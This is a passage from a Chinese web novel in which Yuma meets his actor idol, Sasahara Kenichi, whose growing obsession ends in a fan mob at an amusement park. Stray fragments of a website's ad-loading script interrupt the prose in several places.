在悠真明亮的眼眸里,香川律的腰又弯了一点,几乎就要贴到椅背上:“不过悠真,你怎么一直都叫我‘香川先生’呢?我听见你直呼凛的名字,听起来很亲切,以后也直接叫我的名字好了。” 这话听起来有点耳熟,悠真想起香川凛也说过类似的话,不过凛不满的是为什么没有叫他“先生”,不愧是兄弟,在意的点都很像。 “律”这个名字实在很难说出口,悠真最后还是叫了他“律先生”。 香川律直起身,算不上太满意:“‘律先生’也不错,至少听起来比之前亲切多了。” 他摸了摸悠真的头发,像在摸一只乖巧懂事的宠物。 紧接着他又提醒了悠真他们之前约定好的事情:“周五下午,约好了,我们不带凛。” 最后一句话有意无意地、像是一个玩笑。 无论如何悠真还是把它理解为一个玩笑,他没有多想,只以为是律先生的一个小幽默。 他跟着笑起来:“凛知道的话肯定会生气。” 香川律满脸无辜:“怎么办,谁叫他是高中生。” 周五下午,香川律来接悠真去看电影。车没有开向电影院,而是去了一个平时用来表演舞台剧的剧场,一切都是香川律事先安排好的,悠真并不怀疑,跟着香川律入座。 除了他们,周围只有零星的几个人坐在前面的角落里,本来悠真还担心香川律会动用什么特殊渠道包场,但看样子并没有。 剧场的观看效果也不错,这部电影是纯爱片,取景地在北海道,外景几乎都是漂亮的雪景,画面一出来悠真就屏住了呼吸。 故事算不上特别出彩,但唯美的拍摄手法加上男女主人公的超绝外貌,悠真还是看得津津有味。 尤其是笹原健一,不愧是“二十一世纪以来最受期待的美少年”,那张脸根本就是为了荧幕而生,悠真最初注意到这个明星,也是因为外表实在太完美。 看电影时香川律一直很安静,只有悠真和他说话时他才会简单地回应几声。 实际上香川律的注意力本来也不在电影上,他时不时侧目看着悠真,看幽暗的环境下他的眼睛一点一点被点亮。几乎只要那个叫“笹原健一”的演员出场,悠真的脸上就会自动带上一种兴趣浓厚的表情,对于其他任何一个人,包括他自己,悠真从来没有过这样的神采。 偶像的力量还真是强大呢,香川律漫不经心地想,又想,还真是无聊的纯爱电影,如果凛在场的话,肯定会毒舌地吐槽两位主演矫情得不得了。 香川律又一次侧目,惊讶的发现带悠真正在拿纸巾擦拭眼睛。 电影的剧情演绎到男女主人公多年后重见,发现自己始终是对方最爱的人。 香川律试图共情悠真到底为什么这么感动,但他共情失败了。 如果是喜欢的东西,那么无论如何动用任何手段都要留在身边的,更不要说是最爱的人。绝对不可能像电影里面一样和对方分开那么多年。 一切的苦情戏码都来源于能力的不足,无论是男主还是女主都没有足够的能力将恋人留在身边,如果是他,香川律想,不对,他不会有这种“如果”的情况出现。 但他还是拿捏住时机握住了悠真的手,对于他的安慰,悠真看起来受到了感动。 电影结局还不错,至少悠真不用哭了。灯光亮起之后,香川律没有立刻催促悠真起身,他安静地等待悠真的情绪恢复平静。 “抱歉,”悠真回过神,不好意思地说:“我太入戏了。” 香川律笑笑:“没关系,电影拍得很好,难免会入戏。” 悠真对他露出一个微笑, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明明眼睛还是红的,却还是对他笑,看起来让人想拥抱。 坐在剧场角落的几个人动了,香川律也跟着起身,在悠真不解的目光中拉起他,声音里带着笑意:“还有惊喜彩蛋,去看看。” 说完,轻轻推了下悠真的腰,让他向前走。 悠真不明所以继续向前,而第一排角落里的人也正向他走来。 在交汇的霎那,几人中瘦高个子的男人摘下墨镜,露出俊秀的面容,悠真惊呼一声捂住嘴巴,不敢相信站在眼前的人就是笹原健一。 怪不得没有办法去电影院,香川先生竟然还给他安排了这样的惊喜。 几人一开始只是和悠真简单打了一下招呼,就越过他和香川律开始寒暄。 里面一个听起来像是笹原健一的老板或者经纪人的女士和香川律聊得火热:“健一能得到香川先生的赏识真是太荣幸了,听说贵公司旗下的主题游乐园就要开放了,目前正在拍摄宣传片,请的都是国际知名影星,要是健一有幸能参与的话就太好了哈哈哈哈哈……” 这样的话题悠真本来也参与不进去,他的注意力都被笹原健一吸引走了,笹原健一的脸上带着那种偶像式闪闪发光的笑容,即使话不多但也是人群中最吸引人的那一个。 他瞥向悠真,悠真一个激灵背都挺直了。 笹原健一向他靠近了些:“香川先生说的那个我的小粉丝就是你吧,你叫什么?” 完美,尤其是笹原健一靠近的时候,那张完美如同雕塑一样的面容令悠真呼吸骤停。 “悠……咳、悠真。”他几乎要被自己的呼吸呛到。 笹原健一见怪不怪,亲切地说:“哦,悠真啊。白滨小姐说起来话总是没完没了,你想和我拍照吧,我们去那边拍。” 悠真看了看香川律,香川律还在和那些人交谈一时半刻应该顾不上他。他跟着笹原健一找了一个光线好点的地方。 和偶像合照还是第一次,悠真紧张的不知道手脚该怎么放。笹原健一倒是很大方的将手担在他的肩膀上,习惯性地说:“拍这边吧,我左边的脸好看,不过我最近睡眠不是很好,没有前段时间状态好,照片你要发到网上吗?” 悠真:“啊……应该不会。” 笹原健一:“发网上也无所谓啦,我这张脸就算憔悴一点也是完美的。” 悠真一时分辨不出来他是在开玩笑还是什么,但看他说的认真的样子好像又不是在开玩笑。 和想象中的偶像不太一样呢,不过感觉也挺好的,没什么距离感,就像邻居家长得好看又有些自我的朋友一样。 被笹原健一揽住肩膀,悠真的身体略显僵硬,咔嚓一声拍过照片,他如释重负地松了口气。 笹原健一看着刚拍好的照片,突然抿了抿嘴:“你的口罩湿掉了……” 大约是在刚才看电影的时候沾到了眼泪。 悠真:“啊没关系,就这样也可以……” “不行,看起来也太影响氛围了,这照片根本发不出去吧。”笹原健一说:“你可以摘掉口罩再和我拍照一次,我不介意,反正我现在也挺闲的。” 悠真的手瞬间握紧了一下,刚才被电影感动到擦眼泪的时候他就已经摘了眼镜,现在只戴着口罩,这算是他最后一道防线了。 可想到能和笹原健一见面合照的机会可能只有这一次他就有些动摇。况且……况且笹原健一这样受尽无数宠爱的人没道理会和普通人一样对他产生不正常的情感吧…… 应该……应该是很安全的。 笹原好笑地看他石化的模样:“由真?你是怎么了?” 悠真小声纠正:“是悠真……” “好啦,由真还是悠真都好,快点,不要磨蹭,和我这种大明星拍照的机会很难得的。” 悠真碰到口罩的挂耳,停了一下,还是把口罩摘了下来。 “准备好啦看镜头。”笹原健一笑容明媚,视线不经意瞥到镜头里的悠真。 事实上整个镜头里笹原占据了一大半,悠真只有镜头左下角那点地方。 咔嚓,拍照的声音响起来,画面刚好定格在笹原失神的眼睛上。 他好像还有点疑惑,疑惑这个世界上怎么会有比他更漂亮的一张脸。 甚至比起他这个炙手可热的明星来说,对方才更像是被美神亲吻过的幸运儿。 17.第 17 章 被口罩一直捂着的皮肤留有一道压痕,笹原健一是个外貌至上的完美主义,如果是在其他人脸上看到这种压痕他只会觉得刺眼,然后在心里鄙夷怎么连自己的外表都管理不好,连外表都管理不好的人是没有前途的啊。 但是悠真脸上的压痕……那是艺术品。 笹原健一目不转睛地盯着,浅色的、琉璃珠一般的瞳孔流露出渴望。 他年少出道,在娱乐圈工作了很多年,怀揣着各种心思接近他的人有很多,他一个也看不上,只有眼前这个美得让人失去理智的青年才足以配得上他。 更好的是,这个青年还是他的粉丝。 笹原健一开始释放自己的魅力,他面对过的镜头太多了,他知道自己最迷人的一面应该怎样呈现。 “悠真,我刚才的表情没管理好,再拍一张吧,看镜头喽。”笹原健一不无亲切地说。 悠真不好拒绝,他以前不太拍照片的,今天为了和偶像合照脸都快笑僵了,不得已,他干笑着和笹原又拍了一张。 拍好照片,他立刻又把口罩戴上。 他们姿势亲密,白滨小姐喜笑颜开地对着香川律说:“哎呀,健一和您带来的小朋友相处的很好呢,我还没见过他和哪个人这么快就熟悉。” 即使一直在和他人交谈,香川律也会时不时的注意一下悠真。从悠真摘下口罩的那一刻他的余光基本上就没有离开过悠真,他当然知道悠真和笹原健一相聊甚欢。 香川律用食指推了一下眼镜,看向不远处那两个靠在一块儿的人:“是啊,看起来他们相处的不错。” 笹原靠着墙,一边用手机修图一边向悠真要联系方式说要把照片发给他,能让偶像主动要联系方式的人有几个?悠真没有一点犹豫,和笹原加了好友。他的好友列表里的人不多,现在又多了一个人,这让他有些开心。 刚加好好友,香川律就向他们走过来,得体地开了个无伤大雅的玩笑:“悠真,要到偶像签名了吗?今天来可不能空手而归。” 悠真欢欣地回到香川律的身边:“没有要到签名,但和笹原先生合了影,还加了好友,笹原先生说会把照片修好发过来。” 香川律好像习惯性的、顺势把手放在悠真的头上拍了一下,动作过分亲昵,语气也掺杂着一丝不易察觉的甜蜜气氛:“满意了?” 何止是满意,悠真一个劲儿的点头,像只掉进米仓的仓鼠。 笹原健一看着面前两个人的互动,心中疑惑,他个性本张扬,有疑问就直接问出了口:“香川先生,您和悠真是亲戚吗?” “不是不是。”悠真连忙摆手,害怕别人误会了他和香川律的关系,要是自己在无意中高攀了律先生可就不好了。 他解释道:“我只是在香川家工作的人而已,因为律先生人好,所以才带我来这里的。” “扑哧”一声,笹原笑出了声音,他很高兴眼前两个人并没有什么复杂的关系,要是香川律成为他的竞争者的话,那确实还挺让人头疼的。 “啊抱歉抱歉,”笹原挥了下手:“看你们两感情这么好,我还以为是兄弟什么之类的,原来只是工作的关系。” 这个“只是”两个字说得没有那么礼貌。白滨斜了笹原一眼,却被他忽视。 白滨看了看表,插话进来:“抱歉了各位,健一晚上还有一场节目录制,我们现在得赶到录制现场了,健一,准备出发。” 笹原掀起眼皮望了一眼香川律,凑近悠真,不知道是有意还是无意,他的语调混合了一种暧昧不清,说:“我会再联系你的,悠真。” 白滨再次催促:“健一,动作快点,你要所有工作人员都等你吗?” 在白滨的声声催促中,笹原健一不情不愿地戴上墨镜上了保姆车。 一上车,在公众场合努力压制的脾气就发作了:“你刚才在催什么?节目不是九点才开始录制吗?” 白滨:“我要是再不提醒你,你的眼珠都要掉到那个叫悠真的孩子身上了吧?我说你是真的装的?香川先生难道会无缘无故带一个‘家里的工作人员’来追星吗?还专门请你出场。他们一看就关系不一般吧。” 笹原嘴硬:“不是说只是工作关系吗?” 白滨:“这种话听听就行了,香川律那种大人物只是不想向我们透露隐私吧。” 窗外飞驰的景色让笹原心浮气躁、沉不住气,向来顺风顺水的他随心所欲惯了,很是挑衅地来了一句:“就算关系不一般又怎么样?只要我想,应该没有人可以拒绝我吧?白滨,你在怀疑我的魅力吗?” 白滨对着他翻了个白眼:“需要我给你科普一下香川这个姓氏吗?还是说你只是单纯的疯了?” 车窗里蒙上了一层雾气,笹原伸出手指在雾气上勾勾画画,写下“悠真”这个名字。想到悠真这个人,他就不甘心,他不甘心这样的人凭什么可以属于香川律却不能属于他。 香川律就算再厉害也不能掌控一个人的心吧,悠真要喜欢谁是他自己的选择。他对自己有信心,悠真不会不喜欢他的。 当天夜里,悠真的手机就收到了笹原发来的照片。不过那个时候悠真已经睡着了,香川律擦着头发从浴室出来刚好看见悠真的手机亮起,而来信人显示“笹原健一”后面甚至还跟了一个爱心符号。 悠真做事并不仔细,所以香川律知道他的手机密码,可他根本连点开的欲望都没有。那个人想对悠真做什么的意图太明显,也太低劣,根本不需要他来揣测,明目张胆地不把他放在眼里。 在香川律眼中,什么“最年轻的影帝”、什么“二十一世纪最后的美少 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 年”,笹原健一那个贱人就是一个跳梁小丑而已。要不是悠真特别喜欢他,他毫无用处。他乐于用这个小丑让悠真认清自己真正应该把握的是什么,什么是钻石,什么是玻璃,悠真得分清楚才行啊。 他把悠真的手机放到一旁,睡上床。悠真就在他身边睡着,毫无戒备。悠真多依赖他,除了他之外,悠真没有办法再像这样依赖任何一个人了。 从见到笹原健一后的第二天起,悠真就频繁收到对方发来的消息和邀约。 虽然和想象中的偶像不太一样但毕竟有一层滤镜在,面对笹原健一悠真很难说出什么拒绝的话。笹原健一向他抱怨工作辛苦时他会贴心送上安慰以及教他一些解乏的方法,当笹原健一给他发自己的自拍照片时他当即化身粉丝团长发送许多夸奖,就连笹原说一些并不好笑的笑话时他也礼貌的发出各种笑得肚子痛的表情包……和笹原相处有点累,但没关系,他毕竟是偶像的存在,他会溺爱,会包容。 笹原甚至开始出现在他的学校门口,墨镜向下滑还露出了一半的眼睛,悠真见到他的时候吓了一大跳,这个人根本没意识到如果被人认出会在学校门口引起怎样的轰动。 悠真拉着他快步上了笹原的车,车门关上他长舒一口气:“你怎么来了?” 笹原:“你不是说你这个点下课吗?” “是这样的但是,”悠真很费解:“你是有什么事情找我吗?” 笹原想了想,从包里翻出一个自热眼罩:“你之前不是向我推荐这个嘛……我买了,但是我不知道怎么用。” 就为了这点小事就招摇撞市地站在学校门口找他未免也太鲁莽了,悠真叹了口气,说:“我教你。” 笹原干脆闭上眼睛:“我懒得学,你帮我戴吧。” 真是比凛还麻烦的个性,悠真暗自吐槽。 吐槽归吐槽,他还是把眼罩带上了笹原的眼睛,笹原闭着眼睛休息,嘴巴却没停,和悠真分享着近日的工作和生活:“白滨让我用舞台剧磨练演技,这个什么舞台剧真是好麻烦,比拍电影还要麻烦,这几天好累,我今天排练结束就来找你了,总觉得不能一直只是在手机上聊天,也得见见面才行,你应该也很想见我吧……” 悠真:“倒也……”还好。 他的视线被笹原的下半张脸吸引住了,把最吸睛的眼睛蒙住之后,笹原的鼻梁和下颚线线条就更清晰明显了。 好鬼斧神工的一张脸。 悠真觉得自己都快被他说服了,他确实很想在现实里见到这样一张脸。 陪着笹原待了一会儿之后,悠真委婉地表示自己得回去了,笹原一下子揭开眼罩,拉住他的手:“下次一起去游乐园怎么样?我最近在拍一个游乐园的宣传片来着,好像快开业了,到时候一起去?你可不要拒绝我。” 18.第 18 章 “好啊。”悠真想也没想就答应,偶像邀约,他没道理不答应。 “我先回学校了,眼罩还能再用一会儿。”悠真又轻轻说道。 握住悠真的手很难松开,像有什么魔力一样,笹原健一觉得自己变得不像自己了,从来都是别人拉着他的手请求他再待一会儿,和悠真在一起局势完全反过来了啊。 他定定看着悠真,意识有些脱线,耳边朦朦胧胧中传来惊呼的声音:“喂,笹原,很疼啊,我的手。” 笹原触电一样松开,看见悠真的手腕上已经有了一圈青色的痕迹,是他刚才用力掐的。可是为什么要掐的这么重呢,难道是害怕悠真跑了吗,这个问题连笹原自己都想不明白。 “抱歉,我刚才在想舞台剧的事情,想得太入迷了,最近一直都在排练,练得我脑袋都上锈了。”笹原给自己找了一个没有破绽的借口。 悠真半信半疑地看了下笹原,对方神情如常。 也是,做演员的人和搞艺术的人一样,都会有点神经质的。笹原……肯定和那些人不一样。以前也不是没出现过能抗拒他的人,好比香川家,还有高中时候的个别同学,虽然这类人很少。 笹原应该也是这一类人,对他的态度是把他当成正常人来对待的。 “好吧,没事。”悠真推开车门下去。 笹原重新闭上眼睛,回想着刚才与悠真接触时那种心悸的感觉。 两人都没有发现在不远处的路边有一个镜头,从很长时间之前就对准了他们,把他们在车外的会面和车里的举动都拍得清清楚楚。 笹原很快就发来了具体的日期时间,说他问过了“镜湖游园地“在9号正式开放,不过第一周只有少部分项目完全面向公众开放,大部分项目只接待内部客人,他已经拿到了9号当天的两张内部票。 镜湖游园地……这个名字好像在哪里听过,悠真一时想不起来,没想起来也就算了。 悠真靠在走廊窗边联系园丁准备近期的除草工作时,香川律默默站到他的身后,等他打完电话才开口,和和气气地问:“悠真,这个月9号你可以空出时间来吗?” 9号,和笹原约的时间一模一样啊。 悠真为难:“是有什么事情吗?” 香川律:“也不是,只是看天气越来越暖和了,最近空气也很好,想带你和凛一起出去散散心,刚好公司的……” “不好意思律先生,9号那天的话我已经有约了。” 香川律没有被拒绝的不快,语气态度依然令人如沐春风:“和朋友约的吗,悠真有朋友了?这很好啊,以前我总看你一个人待着,除了家里的人好像没见过什么其他朋友,想到你的特殊情况,还很担心来着。新朋友怎么样?有……被你的特别之处影响到吗?” 新朋友?笹原算是新朋友吗? 悠真干脆告诉了香川律:“是笹原约我的,他人还不错,对我也没什么奇怪的态度,律先生,多亏了你我才结交到了新朋友。” 香川律拍了拍悠真的肩膀:“那改天要请我吃饭,要不悠真亲自下厨好了,听说悠真的厨艺很不错。” 悠真:“一定!” 笹原还是一如既往的自恋,在游乐园入园口疯狂自拍,悠真等了他大概半个小时他才挑出满意的照片发了社交网络。照片刚一发出,底下就是各种点赞评论,还有认出了地点的,说自己虽然没抢到内部票但今天也来了镜湖游园地,期待偶遇诸如此类这样的话。 笹原好像是天生的明星,他享受镁光灯和万众瞩目,这些东西就像是他的养料。可悠真不是,悠真不喜欢高调的事情。 他有点不舒服地催促笹原快点进去,万一真的有粉丝尾随那就是一件很可怕的事情了。 笹原满不在乎地打着哈哈,说什么现在的粉丝素质都很高,不会做出什么过激的举动,就算是想和他偶遇也不过就是想见他一面拍个照什么的而已。 悠真没办法向他解释清楚自己的不安全感,在心里有了那么点生气,只能把自己整张脸藏在帽檐更深处。 他快步向游乐园里走,笹原跟在后面:“悠真你生气了吗?好啦,你要我删掉那张照片吗?悠真,不要不理我啊。” 笹原拽住了他的衣服,让他不能再往前走,悠真回过头,对方把手机怼在他的眼前。 “我都删掉了悠真,不要不开心,也不要不和我说话啊。”笹原做了个暂停的手势,表示和解的意思,表情还在撒着娇。 犯规啊犯规,这样的大明星把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他当成朋友还对他撒娇,这样叫他怎么能生得了气。 悠真点了下头,有些迟疑地说:“那……以后要低调一点,我不太喜欢吸引别人的目光,如果再这样的话,下次我就不答应你出来玩了。” 笹原的眼睛滑过一丝怒气,悠真说——他不和他玩了。悠真怎么能说出这种话,自己可是从来没有对谁这么好过,悠真不仅不领情还想从他身边跑开。 真是……不能原谅,绝对不能原谅,就算掐/死悠真也要让他永远留在自己身边。 笹原健一的大脑在那一瞬间被莫名的愤怒占据,他觉得自己有点古怪又说不出究竟是怎么回事。 头有点涨,他揉了揉太阳穴,眼神变得清澈了许多。 刚才的愤怒应该是消失了,来的快也去的快。笹原健一把这种情况归结为自己太过情绪化了。 悠真那么好,自己刚才怎么会有那么可怕的想法。而且,那可是……违反/法/律的事情,怎么能做那种事。 看着笹原的脸色变得苍白,悠真疑惑地问:“你不舒服吗?是不是天气太热了?要找个地方坐一坐吗?” 他抬起手摸了摸笹原的脑门,对方却好像在他的手触碰到皮肤的那一刻脸色变得更奇怪了。 “我……我还好,没事。”笹原将他的手拽下来却没有放开,一直握在手中。 想要悠真,想亲吻他,想拥抱他,想把他变得和自己一样奇怪……情感一秒比一秒更强烈、更复杂。 这些天来他时不时就会有这种奇怪的时刻,但没有哪一刻像现在这么煎熬。 笹原有点忍不住了。 悠真的手就握在他的手里……他的手里……他想做什么都…… “呐,笹原!”悠真忽然兴奋地伸手一指,一辆极速过山车从不远处飞驰而过,坐在过山车上的乘客发出巨大的尖叫声:“是过山车,你想不想玩那个!” 思绪被这么一打断,笹原又恢复了不少理智。 看着悠真看不清五官的面孔,他的喉咙微微发涩,好像有一串蚂蚁从胃部沿着食道向上攀爬。 他是玩不了刺激项目的人,可他还是听见自己的声音说:“想。” 悠真提出任何过分的要求,他恐怕都拒绝不了。 19.第 19 章 从过山车上下来,笹原几乎要吐出来了。 悠真给他递了一瓶水,问他要不要休息休息。 在悠真面前他不肯表现出来自己害怕,干笑两声:“这有什么,我最喜欢玩这种刺激的东西了。” 只见悠真眼睛一亮:“真的吗?” 笹原拿着水瓶的手卡住了。 悠真眼睛弯弯的:“那笹原,我们再去玩极速通道吧。” 极速通道……这个名字听起来一点也不可以。 笹原的额角流下一滴汗,脸上的笑容凝固:“当……当然好啊。” 陪着悠真玩了好几场刺激的项目,笹原健一的腿直打颤,就快要站不住,就在他扒着围栏舒缓心情时,白滨小姐打来了电话。 “健一,你在哪?!和谁在一起?”白滨小姐的语气听起来很急躁。 她是著名经纪人,平时很沉稳。听到白滨小姐用这样的语气说话,笹原健一也认真起来。 “在‘镜湖游园地’。”笹原看了眼站在一旁开心看攻略的悠真,对方听见他变了语气也向他看过来:“和悠真在一起。” 白滨小姐吩咐:“果然还在那里。现在,立刻从那里出来,我派人在游乐园门口接应你。” 笹原:“怎么了?” 白滨小姐:“怎么了?你还问我怎么了?你自己上网看一看,你知道这个绯闻一出你会掉多少工作吗,还敢发自己在游乐园的照片放在网上,肯定会有粉丝去……” 白滨小姐顿了下,忍住想要骂醒他的冲动:“其他的等见面再说。” “怎么了?”悠真睁大眼睛问,笹原看起来怪怪的样子。 笹原:“还不知道。” 他打开社交软件,含有自己名词的词条被顶到了第一名,完整的词条是“笹原健一密会男性大学生”。 点进去看,几张照片是自己不久前去悠真的学校时和悠真一起被偷拍的。放出来的照片里他和悠真举止亲密,有在校门口拉住悠真的手的,还有在车里的一些模糊又亲密的动作。 但其实很多都是借位而已,他和悠真什么都没干,最亲密的那一张看起来好像两人重叠,尤其暧昧,其实只是当时他帮悠真调整座位而已。 看起来还不错,笹原竟然这么想着,一点也没有被拍到的绯闻的紧张感。 最重要的是有一点他很满意,照片上的悠真脸不是戴着口罩就是被他遮挡了许多,就算是最熟悉的人都不一定能认出他。 这样就是最好的,既有了一种向全天下昭示悠真是他的感觉,又不会让自己的宝藏被太多人觊觎。 悠真啊……就这样属于他是最好的了…… “喂,笹原,你在看什么?”悠真凑过脑袋,不知道为什么笹原一直在盯着手机。 他这么一看,就看见了笹原手机上的照片。 笹原满不在乎地笑着,用一种开玩笑的语气说:“我们上了趋势第一呢……悠真是第一次上趋势吧?” 不知道为什么,悠真的眼神里突然透过一丝慌乱,给了笹原一种他在害怕的感觉。 不过也可以理解啦,悠真是普通人,和他这个大明星一起被拍,以后肯定会受到一些关注,他可能还不习惯。 可是悠真得习惯,毕竟以后他们要一直在一起,而且……笹原觉得这样时不时的昭告一下自己对悠真的所有权也不赖。 悠真拿出自己的手机,翻到已经在网络上发酵的新闻。 新闻底下有不少粉丝和影迷表达心碎,不解笹原健一怎么敢在事业鼎盛时期、又是这样年纪轻轻的时候闹出这种绯闻。 -笹原健一现在不是在镜湖游园地吗? -哇,你们怎么知道的? -他自己发的啦,不过现在已经删掉了。 -删掉也没用哦,镜湖游园地离我这里也不远,有没有一起的?得让这种不自觉的人感受一下狂热粉丝的力量呢。 -也许只是误会啦,春刊很多绯闻都是误报,上次孝勇的绯闻不是也澄清了吗。 -早就看不惯笹原健一了。 -话说,没准他去镜湖游园地也是和绯闻对象一起去的。 -你们是侦探吗? 那句“得让这种不自觉的人感受一下狂热粉丝的力量”的评论被顶到前列,看得悠真背脊冒汗。 就算他们不会做出什么伤害人的举动,但能刻意点出地址应该也不是抱着一个善意的态度,他们会看到自己和笹原健一在一起……那些目光会看过来的…… 好像这种时候抛下笹原健一一个人跑开是件很过分的事情,但是,悠真太害怕那种场面了。 “笹、笹原……我先回去了,如果你要玩的话你自己继续好了。” 悠真后退着,刚要快步跑开时却被笹原健一抓住了胳膊。 “你要去哪里悠真?”笹原摸了一下鼻子:“白滨小姐已经安排好了,说会在游乐园门口接应我们,如果不想被一些麻烦的人缠上你还是和我一起出去最安全。” 如果有人在门口接应的话,那再好不过了。 悠真思考了一下,确认:“白滨小姐真的都安排好了吗?会在门口接应我们吗?” 笹原:“干嘛不相信我,刚才你不是看到我接电话了吗,就是她打来的。” 悠真放心了点,点点头,紧紧抓着自己背包的包带,好像这样能给他一点安全感似的:“那我们快点出去吧。” 不敢和笹原并排走,生怕被不知道从哪里冒出来的粉丝看见。悠真默默走在他后面,隔着几步路的距离,小声催促:“笹原,走快点。” 他现在很不安。 离正门还有一段距离时,笹原又接到白滨的电话,说现在正门已经堵了不少粉丝,他们的车过不来,改成在侧门见。 两人又换了方向。 粉丝的行动力真是好快。 不知道是走路走的还是吓的,悠真浑身冒汗。 笹原突然停下脚步反方向走向他,嗅了嗅:“悠真,你用的什么香水啊,好香啊。” 悠真:“我不用香水……这种时候是讨论这个的时候吗?!笹原,不要停下来,快点往前!” 真实的,选话题也要看场合啊!笹原健一这个人这是在干什么! 悠真在心里狠狠吐槽了他一番,心想着要是香川律在这里就好了,香川律做什么事情都很靠谱,无论是什么情况只要香川律在场他都觉得心里很安定。 律先生……今天要是和律先生一起出来就好了。 悠真鼻子发酸,莫名有一种委屈的心情涌了上来。 还没抵达侧门就看见那里围了一群人,这群人是干什么的已经不用猜想了。 笹原健一压低帽檐:“怎么买票的粉丝这么多吗……果然我的粉丝群体是很庞大的。” 这种时候就不要在自恋了笹原! 悠真:“你先出去,我等一会儿再出去。” 笹原不满:“你竟然这么打算吗?这是想要让我先吸引大部分的火力?看不出来悠真你还是挺没有良心的,不过……你身上真的好香。” 笹原健一说着低下头,鼻尖就靠在悠真颈部不远,可以让他把那种香气闻得更清楚。 说不上来那是什么……是一种不同于任何味道的香气,在闻清楚的瞬间笹原从内心深处弥漫出一种满足与愉悦,比他获得最佳演员奖接受万众瞩目时那种快乐更甚。 笹原确定是从悠真身体里散发出来的,究竟是骨头、皮肤、还是血液他不敢确定,香气带着悠真身体的热度,与热气和汗液一起蒸发出来。 “悠真,”笹原聚焦的瞳孔渐渐溃散:“我之前怎么没有发现,你身上真是……好香。” 处于紧张环境下,悠真竟然没有发现笹原现在的状态明显不对劲,他只是推了笹原一下,其实他没有用多大的力气,但是笹原竟被他推得踉跄了下。 悠真:“现在不是说这个的时候,担心下要怎么出去吧!” 他微微恼怒的面容落在笹原的眼睛里,除此之外笹原好像看不见其他的东西。 终于,有人注意到了他们。 人群中不知道是谁大喊了一声“笹原健一在那里”,人潮向他们涌来。 悠真下意识拉开自己和笹原的距离,准备装成丝毫不认识的对方的路人。 笹原没有就这么让他逃开,一只手拉住强硬地拉住了他的手腕。 悠真:“喂,笹原,你要干嘛?” 笹原健一轻轻的笑了,痴迷地盯着他:“悠真,公开应该也不错吧?” 公开?公开什么啊,不要乱来啊! 他想挣脱开对方的桎梏可不知怎么笹原的力气变得非常大,他的手腕在对方的掌心中扭动了几下但却毫无用处。 笹原健一干脆摘下了口罩,而那聚集的粉丝刚好也到了他们面前。 “没错,我正是笹原健一。”笹原露出迷人微笑,脸上散发出因陷入幸福而格外耀眼动人的光芒:“悠真,就是我的。” 他紧握悠真的手在众人面前如同在宣誓着什么。 “我的”?是“我的朋友吧”?说话不要只说一半! 悠真想要纠正他,却在众目睽睽之下失去了所有的力气。他人的目光对他而言是最难克服的东西,他不断地把自己缩起来,靠近笹原,身体开始轻微的发抖,咬着牙:“够了笹原,带我出去吧,带我出去好吗……” 说到后来,有了恳求的意味。 “害怕了悠真?”笹原用最无辜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的表情看着他,然后再换成最恶毒的表情面向那个凑得最近的粉丝:“喂!你没看到他害怕了吗?滚得远一点啊!” 笹原健一怎么会说出这种话? 悠真算是他的粉丝之一,他看过笹原的大部分采访和真人秀,笹原健一是一个在公开露面的场合下很有素养的人,连明星架子也不会有,更不用说是对他人恶语相向。 悠真终于察觉到笹原的改变了。 自己的手腕上已经被勒出一道深红色,他看见笹原健一扬着嘴唇,眸子里暗藏着一些疯狂的碎片。 他的恶劣态度终于引起了粉丝的不满。 “你只是在利用大家对你的喜欢吧!” “粉丝对你来说什么都不是?“ “这个人是谁啊?“ “笹原健一就是骗子!“ “前几天上综艺不是还说自己单身吗?” “我——无所谓。“笹原发出了一种宛如在演讲的激情澎湃的声音,用自己一个人的声音,力排众议:”无论你们怎么说我都无所谓,演员也好公众人物也好这种身份我根本就不在乎,只要悠真在我身边,我什么也不在乎!” 这种时候就不要再激化矛盾了!悠真在心里呐喊着。 果然,被嘲弄的粉丝群体不满直接爆发,人们互相拥挤骂骂咧咧推推搡搡,在一片混乱之中,有什么东西钩住了悠真的口罩,悠真脸上传来一阵凉意,等他发现时口罩已经不知所踪。 人群像被按下了暂停键,大概有好几秒的时间都鸦雀无声。 悠真想捂住自己的脸可是他一只手被笹原禁锢着,另一只手只能捂住一些部位。 他匆匆低下头。 “什么啊……”一声惊叹:“好漂亮的人啊,也是明星吗。” “笹原健一交往的对象是这样的人吗?好像能理解了。” “怪不得笹原这么着急要公开。” “笹原……根本配不上他吧。 “和我做朋友吧,我会比笹原健一对你更好的。” 四面八方,和从前一样涌来许多只手,他们不经允许的接触他的身体,拽住他的衣服,勾着他的手指。 恍惚间,地面变成淤泥,他头脑阵阵眩晕,那些人要把他拖进淤泥里。 他像是被规训好了的宠物,只要面对这种局势,悠真就会被巨大的无助感压住,他泥足深陷其中,再这样下去,连反抗都不会了。 不对,不能这样,悠真想要自救。 他反应过来,对着笹原的手就重重咬了一口。 笹原吃痛大叫一声。 悠真也不管自己的行为是否正确,他用背包和拳头在人群中一顿乱挥舞,就算伤到了谁那也只能说句抱歉了。 这些人还没有失去神智到连疼痛都不怕的地步,对他毫无章法的拳头尚有畏惧,和他隔出了一段距离。 如果这里都这么多人的话,那么门外面的人只会更多,所以不能出去。 悠真一边挥舞一边向游乐园深处退去,看见有个小门就钻了进去,反手把门锁上。 这里……应该是什么员工通道之类的,狭长的通道里放着零星的杂物,门外是狂热人群在敲打,高喊他的名字让他打开门。 悠真摸出手机,边打电话边沿着通道向里走。 香川律,这种时候除了香川律没有人能够帮助他,除了香川律他谁都不那么信任。 电话一声又一声拨打,带着节奏的声音此时就是他的心跳,幸运的是,律先生总是不会错过他的电话。 “你好,悠真。” 听到电话那边沉着的声音就像见到了曙光,仅仅只是声音就帮他斥退了大片的恐惧。 “律、律先生……”狭长的通道让他的听起来变了样。 香川律轻笑了一声:“怎么这个时候打电话来,现在应该正是玩的时间吧?” 悠真的嗓子又紧又干涩:“律先生,帮帮我,我被堵在游乐园里了……” 香川律顿了一下:“什么?” 悠真:“说来话长,我也不知道怎么回事反正就是结果就是被堵在这里了,您可不可以来接……” 